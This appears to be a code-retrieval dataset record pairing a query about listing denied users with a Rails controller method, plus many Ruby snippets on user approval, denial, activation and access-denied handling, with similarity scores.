"def user_onoff_flag\n @requested_user = User.find_by_account_number(params[:id])\n if @requested_user.is_active?\n @requested_user.update_columns(:is_active => false)\n redirect_to admin_index_path, :flash => {:notice => \"Requested user(#{@requested_user.first_name} #{@requested_user.last_name}) account successfully de-activated.\"}\n else\n @requested_user.update_columns(:is_active => true)\n redirect_to admin_index_path, :flash => {:notice => \"Requested user(#{@requested_user.first_name} #{@requested_user.last_name}) account successfully activated.\"}\n end\n end",
"def approve_clutch\n @clutch.approved = !@clutch.approved\n if @clutch.save\n redirect_to users_path\n else\n redirect_to users_path, alert: \"Error! Failed to Approve!\"\n end\n end",
"def active_for_authentication?\n super && self.approved?\n end",
"def disapprove\n self.approved = false\n end",
"def approved?\n approval_state.present? ? approval_state == 'approved' : approval.try(:approved?)\n end",
"def approved?\n state == 'approved'\n end",
"def approved?\n !approved_on.nil?\n end",
"def active_for_authentication?\n # User is approved when harp_id is assigned.\n # Approved flag is set programmatically when harp_id is set by an admin.\n super && is_approved?\n end",
"def approval_of_admin\n status = params[:status]\n @order = Order.find(params[:id])\n @order.update_attributes!(:status => status)\n @order_email = Order.find(params[:id])\n if status == \"5\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_approved(@order_email, @reviewer).deliver_now\n elsif status == \"6\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_rejected(@order_email,@reviewer).deliver_now\n user = User.find(@order.user_id)\n user_orders_count = user.orders.count\n if user_orders_count == 1\n @order.update_attributes!(:status => 7)\n end\n end\n redirect_to admin_reviewed_by_reviewer_path , :notice => \"Order successfully updated.\"\n end",
"def approval_status\n self.approved? ? 'Approved ' : 'Pending '\n end",
"def approve!\n self.approved = true\n self.save\n end",
"def approve!\n update_attribute(:active, true)\n end",
"def approve\n params[:tab] = 'pending'\n @page_title = @owner ? \"Approve #{@owner.display_name.titleize}'s Items\" : 'Approve Items'\n @menu_title = \"Review Item\"\n\n index\n end",
"def approve_me\n self.update!(status: 'APPROVED')\n end",
"def prohibit\n @profile.approved = false\n @profile.save!\n redirect_to profiles_path(status: 'approved')\n end",
"def confirm\n if current_visitor && current_visitor.has_role?('admin', 'manager')\n user = User.find(params[:id]) unless params[:id].blank?\n if !params[:id].blank? && user && user.state != \"active\"\n user.confirm!\n user.make_user_a_member\n # assume this type of user just activated someone from somewhere else in the app\n flash[:notice] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n else\n flash[:notice] = \"Please login as an administrator.\"\n redirect_to(root_path)\n end\n end",
"def activate\n user = User.find_by_username params[:username]\n if user && user.activation == params[:activation]\n user.activation = \"ACTIVATION_ACTIVE\"\n user.save()\n render status: 200, json: {error: false}\n else\n render status: 403, json: {error: true}\n end\n end",
"def request_role\n @user = User.find(params[:id])\n @admin = User.find_by_roles(\"Admin\")\n @user.update_attribute(:is_approved, false)\n UserMailer.request_artist(@user, @admin).deliver\n redirect_to root_url\n end",
"def approved\n\t\t@approves = Marriage.find(:all, :conditions => \"approved = 1\")\n \trespond_to do |format|\t\t\n \t\t format.html \n \t format.xml { render :xml => @approves }\t\t#Render to XML File\n format.pdf { send_data render_to_pdf({ :action => '', :layout => 'standard' }) }\n \tend\n\t\t\n\tend",
"def auto_approve\n if !self.auto_approved && self.approval_status.nil?\n UserMailer.auto_approved_email(self).deliver\n self.auto_approved = true\n self.approval_status = true\n self.save\n end\n end",
"def is_approved?\n moderation_flag ? true : false\n end",
"def is_approved?\n moderation_flag ? true : false\n end",
"def notify_status_approved(user, redemption)\n @redemption = redemption\n @reward = redemption.reward\n @approver = redemption.approver\n @user = user\n notify_redeemer_status_change(user, redemption, t(\"rewards.redemption_was_approved\", reward_title: redemption.reward.title))\n end",
"def approve_user\n @user = User.find(params[:id])\n\n @user.approved_torcida = true\n @user.save(validate: false)\n redirect_to root_path\n end",
"def approve\n respond_to do |format|\n if @version.approve!(current_user)\n UserMailer.approval_notification(current_user, @version.versionable.node, @version.editor, params[:comment], :host => request.host).deliver if @version.editor\n format.xml { head :ok }\n else\n format.xml { head :internal_server_error }\n end\n end\n end",
"def approve!\n raise 'not pending' unless self.status == 'PENDING'\n\n transaction do\n self.status = 'APPROVED'\n self.save!\n overlapping_pending_requests.update_all(status: 'DENIED')\n end\n end",
"def denied\n @denied_users = User.where(isDenied:true).where(isApproved:false).paginate(:page => params[:denied_users_page], :per_page => 10)\n end",
"def approve\n order = current_user.restaurant.orders.find(params[:id])\n order.update(status: 1)\n render json: {is_success: true}, status: :ok\n end",
"def can_approve?(target)\n is_staff? && target && target.active? && !target.approved?\n end",
"def approval_confirm\n @minimal_ui = true\n \n case params[:decision]\n when 'approve'\n render :confirm_approve\n when 'disapprove'\n render :confirm_disapprove\n else\n raise\n end\n end",
"def approve\n transition_to :approved\n end",
"def active_for_authentication?\n super && approved?\n end",
"def approval_user\n target_user = User.find(params[:user_id])\n approval_status = params[:approved].blank? ? User::ApprovalStatusReject : User::ApprovalStatusApproved\n comment = params[:comment]\n # unless target_user.approval_status == User::ApprovalStatusApproved\n target_user.update(approval_status: approval_status, comment: comment, approval_date_time: DateTime.current)\n # end\n\n # if target_user.approval_status == User::ApprovalStatusApproved\n # if target_user.company_buyer_entities.any?{ |x| x.approval_status == CompanyBuyerEntity::ApprovalStatusPending}\n # target_user.update(comment: comment, approval_date_time: DateTime.current)\n # else\n # target_user.update(approval_status: approval_status, comment: comment, approval_date_time: DateTime.current)\n # end\n # end\n\n if approval_status == User::ApprovalStatusApproved\n UserMailer.approval_email(target_user).deliver_later\n elsif approval_status == User::ApprovalStatusReject\n UserMailer.reject_email(target_user).deliver_later\n end\n result_json = {user_base_info: target_user}\n result_json\n end",
"def active_for_authentication?\n super && approved?\n end",
"def active_for_authentication?\n super && approved?\n end",
"def active_for_authentication?\n super && approved?\n end",
"def active_for_authentication?\n super && approved?\n end",
"def active_for_authentication?\n super && approved?\n end",
"def active_for_authentication?\n super && approved?\n end",
"def active_for_authentication?\n super && approved?\n end",
"def is_approver?(user)\n\n self.users.include?(user)\n\n end"
] |
[
"0.736827",
"0.7141964",
"0.7017434",
"0.69277424",
"0.6907994",
"0.6892134",
"0.6878522",
"0.6877722",
"0.683432",
"0.68088764",
"0.67704177",
"0.67638624",
"0.67159086",
"0.66962975",
"0.6673881",
"0.66597944",
"0.66548467",
"0.6630106",
"0.661955",
"0.6603707",
"0.6574236",
"0.6570831",
"0.65537226",
"0.65126085",
"0.6492052",
"0.646349",
"0.64494145",
"0.64379126",
"0.6395436",
"0.6381325",
"0.6373434",
"0.6362014",
"0.6361069",
"0.6354823",
"0.6327445",
"0.6317012",
"0.6314839",
"0.6310738",
"0.6290289",
"0.62812275",
"0.62787277",
"0.6276617",
"0.6262402",
"0.6260943",
"0.6257758",
"0.6248944",
"0.62486666",
"0.6216277",
"0.62137955",
"0.62136537",
"0.6208063",
"0.619758",
"0.6194272",
"0.6187999",
"0.61865693",
"0.6174791",
"0.6154491",
"0.6153352",
"0.614834",
"0.6139418",
"0.6135096",
"0.61329925",
"0.6127551",
"0.6124758",
"0.6112578",
"0.6110953",
"0.61072075",
"0.6093537",
"0.6076988",
"0.60735476",
"0.60720086",
"0.60692155",
"0.6062287",
"0.605855",
"0.60540336",
"0.6042373",
"0.60341984",
"0.6032819",
"0.60311824",
"0.60276484",
"0.60276484",
"0.60265094",
"0.6025941",
"0.60231805",
"0.6023031",
"0.6022971",
"0.59827375",
"0.5969702",
"0.5963796",
"0.5946277",
"0.5939747",
"0.5930884",
"0.59247184",
"0.59247184",
"0.59247184",
"0.59247184",
"0.59247184",
"0.59247184",
"0.59247184",
"0.59229225"
] |
0.8073963
|
0
|
GET /users/denied Already denied but might need to approve
|
def denied
@denied_users = User.where(isDenied:true).where(isApproved:false).paginate(:page => params[:denied_users_page], :per_page => 10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def denied\n end",
"def access_denied\n\n end",
"def deny_user(id)\n post(\"users/#{id}/deny\").user\n end",
"def access_denied\n end",
"def denied\n return @denied\n end",
"def denied=(value)\n @denied = value\n end",
"def access_denied\n render status: 401, text: \"nice try\"\n end",
"def permission_denied\n # render :status => 403, :json => {:message => \"You don't have permission to do that.\"}\n end",
"def user_access_control_all\n @user = User.find(params[:user_id])\n\n unless !@user.admin? && current_user.admin? || current_user?(@user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end",
"def deny\n @reservation.is_denied = true\n @reservation.status = :denied\n @reservation.admin_response_time = Time.now\n respond_to do |format|\n if @reservation.update(reservation_params)\n notify_denied\n format.html { redirect_to @reservation, flash: { error: 'Reservation has been denied' } }\n format.json { render :show, status: :ok, location: @reservation }\n else\n respond_to_errors :show, format\n end\n end\n end",
"def access_denied\n flash[:error] = I18n.t('activerecord.errors.messages.access_denied')\n redirect_to welcome_path\n end",
"def access_denied(body = nil)\n error 403, body\n end",
"def forbidden\n respond_with 403\n end",
"def access_denied\n [ 403, {'Content-Type' => 'text/plain', 'Content-Length' => '14'},\n ['Access denied.'] ]\n end",
"def permission_denied\n respond_to do |format|\n format.html { render :template => \"shared/forbidden\", :status => :forbidden }\n format.any { head :forbidden }\n end\n end",
"def deny\n self.status = 'denied'\n save\n end",
"def deny\n self.granted = -1\n restaurant = Restaurant.find(self.restaurant_id)\n restaurant.mark_collaborative\n end",
"def forbidden\n respond_with 403\n end",
"def mark_as_denied\n request = MentorshipRequest.find(params[:mentorship_request])\n request.status = 'Denied'\n request.save!\n\n flash[:success] = 'Request Successfully Denied'\n redirect_to mentorship_requests_path\n end",
"def access_denied\n head 401\n end",
"def authorization_denied\n head :unauthorized\n end",
"def deny_users(deny_ids)\n deny_ids.each do |id|\n user = User.find(id)\n if user.update_attributes({approval: -1}, as: :admin)\n @@message = \"The users have been denied.\"\n end\n end\n end",
"def check_access_control_all\n @user = User.find(params[:user_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @user.id\n rescue\n response_access_denied\n end",
"def denied\n\t\t# Picked a random lender application and temporary set it's status to denied\n\t\tlender_app \t\t\t= LenderApplication.first\n\t\tlender_app.status \t= 'denied'\n\t\tLenderApplicationsMailer.updated(lender_app)\n\t\n\tend",
"def is_denied?\n level == Membership::LEVELS[:denied]\n end",
"def denied?\n return (self.status == STATUS_DENIED)\n end",
"def deny()\n if update_attributes({:level => Membership::LEVELS[:denied]})\n true\n else\n reload\n false\n end\n end",
"def permission_denied\n render :template => \"shared/permission_denied\",\n :status => :forbidden\n end",
"def access_denied\n respond_to do |format|\n format.html {\n flash[:error] = \"Sie sind nicht angemeldet oder nicht berechtigt, auf die angeforderte Seite zuzugreifen.\"\n render text: \"\", layout: true, status: :unauthorized\n }\n \n format.any {\n head status: :unauthorized\n }\n end\n end",
"def permision_denied_error\n error(403, 'Permision Denied!')\n end",
"def permission_denied\n\t\tif current_user\n\t\t\tflash[:warning] = \"Sorry, your account is not allowed to do that. Try another?\"\n\t\telse\n\t\t\tflash[:notice] = \"To do that, I need to know who you are.\"\n\t\tend\n\t\tif request.request_method == :get\n\t\t\tsession[:next] = request.request_uri\n\t\telse\n\t\t\tsession.delete(:next)\n\t\tend\n\t\tlogin_page = url_for :controller => :user_sessions, :action => :new, :secure => true, :host => request.host\n\t\trespond_to do |format|\n\t\t\tformat.html { return redirect_to login_page }\n\t\t\tformat.js { render(:update) {|p| p.redirect_to login_page }}\n\t\t\tformat.all { render :file => \"#{RAILS_ROOT}/public/403.html\", :status => '403 Forbidden' }\n\t\tend\n\t\tno_cache\n\tend",
"def access_denied\n error = error_response_method($e12)\n render :json => error\n end",
"def access_denied\n redirect_to controller: :users, action: :login\n end",
"def access_denied\n if @current_user\n render_401\n else\n redirect_to \"#{FUSESOURCE_URL}/login?return_to=#{external_url_to(request.request_uri)}\"\n end\n end",
"def deny_action(path)\n @denied << recognize_path(path)\n end",
"def filter_self\n if @user && !current_user.can_edit?(@user)\n respond_to do |format|\n format.html {\n render :nothing => true, :status => 403\n }\n format.json {\n render :json => {:status => 'failure'}, :status => 403\n }\n end\n end\n end",
"def access_denied\n render \"common/access_denied\"\n end",
"def status_forbidden\n @status = 403\n end",
"def access_denied\n return render(text: 'access_denied: requires a role')\n end",
"def access_denied\n #@flash[:notice] = \"Permission denied.\"\n redirect_to :controller=>\"account\", :action =>\"login\"\n end",
"def deny_access\n if not current_user\n authenticate_user!\n elsif current_user.member?\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def deny\n @ride = current_user.fares.find_by_id(params[:ride])\n @ride.deny(User.find_by_id(params[:passenger]))\n redirect_to user_path(current_user)\n end",
"def notify_status_denied(user, redemption)\n @reward = redemption.reward\n @denier = redemption.denier\n notify_redeemer_status_change(user, redemption, t(\"rewards.redemption_was_denied\", reward_title: redemption.reward.title))\n end",
"def user_not_authorized\n respond_to do |format|\n format.json do\n render json: ErrorReport.generate( { id: [t(\"errors.messages.not_authorized\")] }, 403 ), status: :forbidden\n end\n end\n end",
"def deny_access_action( txn, *args )\n\t\t\tself.log.error \"Unauthorized request for %s\" % [ txn.uri ]\n\t\t\ttxn.status = Apache::FORBIDDEN\n\t\t\treturn \"access denied\"\n\t\tend",
"def access_denied\n store_location\n if session[:userid]\n redirect_to :new_user\n else\n redirect_to :login\n end\n end",
"def access_denied\n if ( user_signed_in? )\n render :file => File.join( RAILS_ROOT, 'public', '404.html' ),\n :status => :not_found\n else\n authenticate_user!\n end\n end",
"def restrict_access\n head :unauthorized and return false unless current_user\n end",
"def access_denied\n redirect_to(new_account_login_path)\n end",
"def access_denied\n redirect '/login'\n end",
"def email_deny(params)\n http_helper.send_post_request(\"#{@url_prefix}/#{get_user_id!(params)}/email/deny\", params)\n end",
"def is_denied?\n (moderation_flag == false) ? true : false\n end",
"def permission_denied\n flash[:alert] = \"Desculpe, voce nao tem permisao.\"\n redirect_to root_url\n end",
"def access_denied\n if logged_in?\n flash[:notice] = I18n.t('application.not_authorized')\n respond_to do |f|\n f.html do\n unless request.xhr?\n redirect_to current_user.has_any_role? ? admin_nodes_path : root_path\n else\n render text: flash[:notice], status: :forbidden # Render HTML\n end\n end\n f.js do\n render :update do |page|\n page.redirect_to '/admin' # Redirect through JS\n end\n end\n f.json do\n render json: { error: flash[:notice] }.to_json, status: :forbidden\n end\n end\n else\n super\n end\n end",
"def forbidden!\n render_api_error!('403 Forbidden', 403)\n end",
"def access_denied\n {\n :html => 'Sorry, we cannot verify that you are a user. Please reinstall this Raplet.',\n :status => 401\n }\n end",
"def access_denied\n redirect_to main_app.root_url, alert: \"Not authorized\"\n end",
"def permission_denied\n @right_allowed = Right.all.detect{|right| right.allowed?(params.slice(:controller, :action))}\n @roles_allowed = @right_allowed.roles if @right_allowed\n @controller_name = params[:controller] unless @right_allowed\n\n if request.xhr?\n render :update do |page|\n msg = if @right_allowed\n <<-MESSAGE\nYou are not authorised to perform the requested operation.\nRight required: #{@right_allowed}\nThis right is given to the following roles: #{@roles_allowed.map(&:title).join(\", \")}.\nContact your system manager to be given this right.\nMESSAGE\n else\n <<-MESSAGE\nNo right is defined for this page: #{@controller_name}\nContact your system manager to notify this problem.\nMESSAGE\n end\n page.alert(msg)\n end\n else\n respond_to do |format|\n format.html { render :template => 'permission_denied' }\n format.json do\n render :json => {\n :error => 'Permission Denied',\n :right_allowed => @right_allowed.try(:name),\n :roles_for_right => @roles_allowed.map(&:title)\n }\n end\n end\n end\n\n false\n end",
"def forbidden\n head :forbidden\n end",
"def denied\n logger.debug(\"[rdaw] access denied (#{Rdaw::StatusCodes::to_const_name(daw_status) || daw_status || 'no status code'})\")\n logger.debug(\"[rdaw] see documentation for ERROR_HANDLER_MNAME if unauthorized users shouldn't be sent back to the login prompt\")\n\n # save HTTP request method and POST data for when the user logs back in after timeoout\n if non_get_methods.include?(request.method.downcase.to_sym)\n logger.debug(\"[rdaw] interrupted #{request.method} detected, saving referer\")\n rdaw_session[:before_post_url] = request.env['HTTP_REFERER']\n end\n\n return daw_login_prompt unless Rdaw.const_defined?('ERROR_HANDLER_MNAME') && respond_to?(Rdaw::ERROR_HANDLER_MNAME)\n\n send(Rdaw::ERROR_HANDLER_MNAME,\n { :status_code => daw_status,\n :status_text => Rdaw::StatusCodes::to_const_name(daw_status) }) and return false\n end",
"def access_denied!\n render partial: 'errors/401', status: 401 && return\n end",
"def denied\n ContactMailer.denied\n end",
"def deny_friend_request\n request_response = post(\"/users/#{id}/deny\")[\"response\"]\n @user = Foursquared::Response::User.new(client, request_response[\"user\"])\n end",
"def user_owns\n if !@freerange.has_owner(@user)\n redirect_to @user\n end\n end",
"def access_denied\n redirect_to signin_url\n end",
"def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def supervisor_access_denied!(options = {})\n render file: \"#{Rails.root}/public/403.html\", :status => :forbidden, layout: false, content_type: 'text/html'\n end",
"def deny_access\n respond_to do |format|\n format.json {\n # Some schools of thought advocate the use of 404 (:not_found). See\n # http://www.bennadel.com/blog/2400-handling-forbidden-restful-requests-401-vs-403-vs-404.htm\n render json: {}, status: :unauthorized\n }\n end\n end",
"def umn_access_denied\n redirect_to(login_and_redirect_url)\n end",
"def access_denied\n flash[:danger] = \"Access denied. Please log in.\"\n redirect_to login_path\n end",
"def is_denied?\n (self.denied_feeds.count > 0)\n end",
"def index\n @user = User.find(params[:user_id])\n @conditions = @user.conditions\n\n if current_user.id == @user.id\n\t\t\trender action: :index\n\t\telse\n\t\t\trender file: 'public/denied'\n\t\tend\n end",
"def check_user_role\n if current_user&.has_role? :denied\n session.delete(:user_id)\n redirect_to root_path, flash: { alert: I18n.t(\"registration.banned.fail\") }\n elsif current_user&.has_role? :pending\n session.delete(:user_id)\n redirect_to root_path, flash: { alert: I18n.t(\"registration.approval.fail\") }\n end\n end",
"def access_denied\n store_location\n redirect_to root_path(:target => request.request_uri)\n #respond_to do |format|\n # format.json do\n # render :partial => \"json/response\",\n # :locals => {\n # :success => false,\n # :message => \"Authorization Required\",\n # :body => nil}\n # end\n # format.html do \n # redirect_to root_path#(:after_login => request.request_uri)\n # end\n #end\n end",
"def validate_access\n if @user_logged_in != @answer.user\n render status: :forbidden\n end\n end",
"def authorize_unauthenticated_user\n target_action = params[:controller] + '#' + params[:action]\n unless User::DEFAULT_PERMISSIONS.include?(target_action)\n head :unauthorized and return\n end\n end",
"def permission_denied\n @right_allowed = Right.all.detect{|right| right.allowed?(controller_action_options)}\n @roles_allowed = @right_allowed.roles if @right_allowed\n @controller_name = params[:controller] unless @right_allowed\n\n respond_to do |format|\n format.html { render :status => 550, :template => 'permission_denied', :layout => (permission_denied_layout || false) }\n format.json do\n render :status => 550, :json => {\n :error => 'Permission Denied',\n :right_allowed => @right_allowed.try(:name) || 'No right assigned for this action. Please contact your system administrator',\n :roles_for_right => @roles_allowed ? @roles_allowed.map(&:title) : 'N/A (as no right is assigned for this action)'\n }\n end\n format.js do\n render :update, :status => 550 do |page|\n msg = if @right_allowed\n <<-MESSAGE\nYou are not authorised to perform the requested operation.\nRight required: #{@right_allowed}\nThis right is given to the following roles: #{@roles_allowed.map(&:title).join(\", \")}.\nContact your system manager to be given this right.\nMESSAGE\n else\n <<-MESSAGE\nNo right is defined for this page: #{@controller_name}\nContact your system manager to notify this problem.\nMESSAGE\n end\n page.alert(msg)\n end\n end\n end\n\n false\n end",
"def permission_denied\n flash[:error] = 'Sorry, your account has insufficient privileges for the requested resource.'\n redirect_to :root\n end",
"def permission_denied\n flash[:error] = 'Sorry, your account has insufficient privileges for the requested resource.'\n redirect_to :root\n end",
"def unauthorized\n render_json error: 'Access Not Authorized', status: :forbidden\n end",
"def deny_access\n respond_to do |format|\n format.html {\n flash[:alert] = 'You are not authorized to perform this action'\n\n redirect_to root_path\n }\n\n format.json {\n # Some schools of thought advocate the use of 404 (:not_found). See\n # http://www.bennadel.com/blog/2400-handling-forbidden-restful-requests-401-vs-403-vs-404.htm\n render json: {}, status: :unauthorized\n }\n end\n end",
"def is_denied?\n return false if moderation_flag || moderation_flag == nil\n true\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def access_forbidden\n if !@authenticated.nil?\n send_response_document :forbidden\n else\n flash.keep\n authentication_needed!\n end\n end",
"def rescue_unauthorized\n render nothing: true, status: 403\n end",
"def rescue_unauthorized\n render nothing: true, status: 403\n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def deny_wrong_user\n redirect_to signin_path, notice: \"Sorry, you can't access that page.\"\n end",
"def status_forbidden\n respond_to do |format|\n format.any { head :forbidden }\n end\n end",
"def permission_denied\n flash[:error] = \"Usted no tiene permisos para acceder a esta pagina.\"\n redirect_to root_url\n end"
] |
[
"0.742787",
"0.7362422",
"0.7307857",
"0.7286723",
"0.723541",
"0.7133234",
"0.70570636",
"0.689014",
"0.68354964",
"0.6796782",
"0.67692673",
"0.67611754",
"0.6754883",
"0.67498904",
"0.6746348",
"0.67422545",
"0.6728153",
"0.67248994",
"0.6721776",
"0.671981",
"0.6711514",
"0.67013955",
"0.6696073",
"0.6689469",
"0.6685656",
"0.6665095",
"0.6649961",
"0.6631818",
"0.6611262",
"0.66020244",
"0.65924716",
"0.65577775",
"0.65450436",
"0.6529198",
"0.65278846",
"0.6521561",
"0.6519538",
"0.6486326",
"0.6483346",
"0.64791334",
"0.64647937",
"0.64638215",
"0.6461966",
"0.6444511",
"0.64305574",
"0.6422178",
"0.6415869",
"0.6381224",
"0.637822",
"0.63740325",
"0.6371154",
"0.6368819",
"0.6340182",
"0.633821",
"0.6338046",
"0.6333524",
"0.6330151",
"0.6327244",
"0.63250095",
"0.6324342",
"0.6322417",
"0.6321956",
"0.63056505",
"0.62995815",
"0.6297178",
"0.62961835",
"0.62944615",
"0.62944615",
"0.62944615",
"0.62944615",
"0.62944615",
"0.62944615",
"0.62944615",
"0.62861156",
"0.62861156",
"0.62861156",
"0.627648",
"0.62754524",
"0.6261542",
"0.625128",
"0.6249523",
"0.62474674",
"0.6234052",
"0.6232205",
"0.622877",
"0.6219518",
"0.62186366",
"0.621822",
"0.621822",
"0.6188908",
"0.61879474",
"0.6177001",
"0.6173928",
"0.6161209",
"0.61468434",
"0.61468434",
"0.6142271",
"0.6141727",
"0.61346394",
"0.6133768"
] |
0.81836784
|
0
|
GET /users/inactive Already inactive but might need to activate
|
def inactive
@inactive_users = User.where(isActive:false).paginate(:page => params[:inactive_users_page], :per_page => 10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deactivate\n\t @user.update(:active => false)\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def inactive\n\t\t\t\t\tfind(:all, :conditions => 'username = \"\"')\n\t\t\t\tend",
"def inactive\n end",
"def inactive_user?\n self.status == \"Inactive\"\n end",
"def inactive_tokens\n client.get('/inactive_tokens')\n end",
"def deactivate\n admin = Administrator.find_by_user_id(params[:id])\n admin.status = false\n admin.save\n @users = User.all\n render 'index'\n end",
"def make_inactive\n self.status = \"I\"\n end",
"def goals_inactive\n @goal = Goal.find(params[:id])\n @temp = GoalsUser.where({user_id:@user.id,goal_id:@goal.id})\n @temp.update_all(active: \"false\")\n respond_to do |f|\n f.html {redirect_to goals_path(@user)}\n f.json {render json: {success: true}}\n end\n end",
"def inactive!\n @active.update { |_| false }\n end",
"def inactive?\n\t\t\treturn account_life_cycle_status == INACTIVE \n\t\tend",
"def inactive!\n self.update_attribute(:status, INACTIVE)\n end",
"def deactive\n user = User.find(params[:id])\n user.toggle!(:active)\n user.save\n if user.active == true \n redirect_to users_path, :notice => \"Activate User #{user.userName}\"\n else \n flash[:error] = \"Deactivate User #{user.userName}\"\n redirect_to users_path \n end\n end",
"def inactive_user(user_id)\n\tUserMission.find_by(user_id: user_id) ? false : true\nend",
"def pending_users\n @pending_users = User.find(:all, :conditions => {:enabled => false, :activation_code => !nil})\n render :partial => 'pending_users'\n end",
"def deactivate_account!\n time_since_sign_in = Time.now - self.last_sign_in_at\n inactive_days = Time.now - 60.days\n if last_signed_in_at.where(inactive_days > time_since_sign_in)\n update_attribute :is_active, false\n end\n end",
"def notretired\n\t\t\t\t\t@users = User.notretired\n\t\t\t\t \t@active = User.find(session[:user_id]).try :touch\n render(\"index\")\n end",
"def deactivate\n verify_post_request\n require_parameters :login\n\n Api.users.deactivate(params[:login])\n\n hash={}\n respond_to do |format|\n format.json { render :json => jsonp(hash) }\n format.xml { render :xml => hash.to_xml(:skip_types => true, :root => 'users') }\n end\n end",
"def inactivated_user\n @user ||= User.find_by email: params[:email]\n unless @user && !@user.activated?\n render json: ErrorSerializer.serialize(email: \"is invalid\"), status: 422\n end\n end",
"def inactive\n return @all_inactive if @all_inactive\n @all_inactive = all.find_all{ |enum| !enum.active? }.freeze\n end",
"def user_onoff_flag\n @requested_user = User.find_by_account_number(params[:id])\n if @requested_user.is_active?\n @requested_user.update_columns(:is_active => false)\n redirect_to admin_index_path, :flash => {:notice => \"Requested user(#{@requested_user.first_name} #{@requested_user.last_name}) account successfully de-activated.\"}\n else\n @requested_user.update_columns(:is_active => true)\n redirect_to admin_index_path, :flash => {:notice => \"Requested user(#{@requested_user.first_name} #{@requested_user.last_name}) account successfully activated.\"}\n end\n end",
"def deactivate_profile\n \t@user = User.find_by_id(params[:id])\n \tif @user.nil?\n render :json => {:success => false, :message => \"User not exists\"}, :status => :not_acceptable\n else\n \tbegin\n\t @user.is_activate = false\n\t @user.save!\n\t render :json => {:success => true,:message => \"User profile deactivated\", :user =>@user}, :status => :ok\n\t rescue Exception => e\n\t \tp e.backtrace\n\t render :json => {:success => false, :message => e.backtrace}, :status => :not_acceptable\n\t end\n end\n end",
"def deactivate\n respond_to do |format|\n if @user_badge.update(active: false)\n format.html { redirect_to team_user_path(@team, @user), notice: 'User badge was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_badge }\n else\n format.html { render :edit }\n format.json { render json: @user_badge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def inactive?\n not active?\n end",
"def inactive?\n self.status == \"Inactive\"\n end",
"def banned?\r\n if current_user.present? && !current_user.activated?\r\n sign_out current_user\r\n flash[:error] = \"This account has been suspended....\"\r\n redirect_to new_user_session_path\r\n end\r\n end",
"def deactivated_users\n @users=User.find_with_deleted(:all,:conditions=>['company_id=? AND deleted_at IS NOT NULL',current_user.company_id])\n end",
"def inactive?\n (status == INACTIVE)\n end",
"def bypass_inactive_disable\n @attributes[:bypass_inactive_disable]\n end",
"def inactive?\n !active?\n end",
"def is_active(user)\n user.status_id != 0\n end",
"def activatable_user\n @user ||= User.find_by email: params[:email]\n unless @user && !@user.activated? && @user.authenticated?(:activation, params[:id])\n render json: ErrorSerializer.serialize(activation_link: \"is invalid\"), status: 422\n end\n end",
"def inactive\n @detours = Detour.find_inactive_detours\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @detours }\n end\n end",
"def index\n\t#display only activated users\n\t@users=User.where(activated: true).paginate(page: params[:page])\n\tend",
"def deactivate\n update(state: 'inactive')\n end",
"def active?\n !inactive\n end",
"def get_inactive_periods\n @periods = current_user.periods.where(is_active: false).order(created_at: :desc)\n render json: @periods\n end",
"def deactivate\n @user = User.find(params[:id])\n @user.deactivate\n redirect_to :back\n end",
"def inactive?\n !active?\n end",
"def inactivate\n @courses = Course.joins(:instructor).where users: {id: @auth_user}\n\n if(params[:id] != nil && params[:action] == 'course_inactive' && params[:inactivated] != 'true')\n course = Course.find_by_id(params[:id])\n course.inactivation_requested= true\n course.save!\n\n redirect_to course_inactive_path(:inactivated => true, :id =>params[:id])\n end\n end",
"def is_inactive?\n return (self.status == HostResult::STATUS_INACTIVE)\n end",
"def became_inactive?\n active_changed? && !active\n end",
"def active\n\t\t\t\t\tfind(:all, :conditions => 'username != \"\"')\n\t\t\t\tend",
"def deactivate!\n self.status = 'Inactive'\n nil\n end",
"def make_inactive\n self.active = false\n self.save!\n end",
"def make_inactive\n self.active = false\n self.save!\n end",
"def inactive!\n self.active = false\n save!\n end",
"def remove_registrations_if_inactive\n remove_upcoming_registrations if !self.active \n end",
"def get_inactive_trip_offers\n get_trip_offers(active=false)\n end",
"def remove_upcoming_registrations_if_inactive\n remove_upcoming_registrations if !self.active \n end",
"def index\n @active = 2\n @users = User.all\n end",
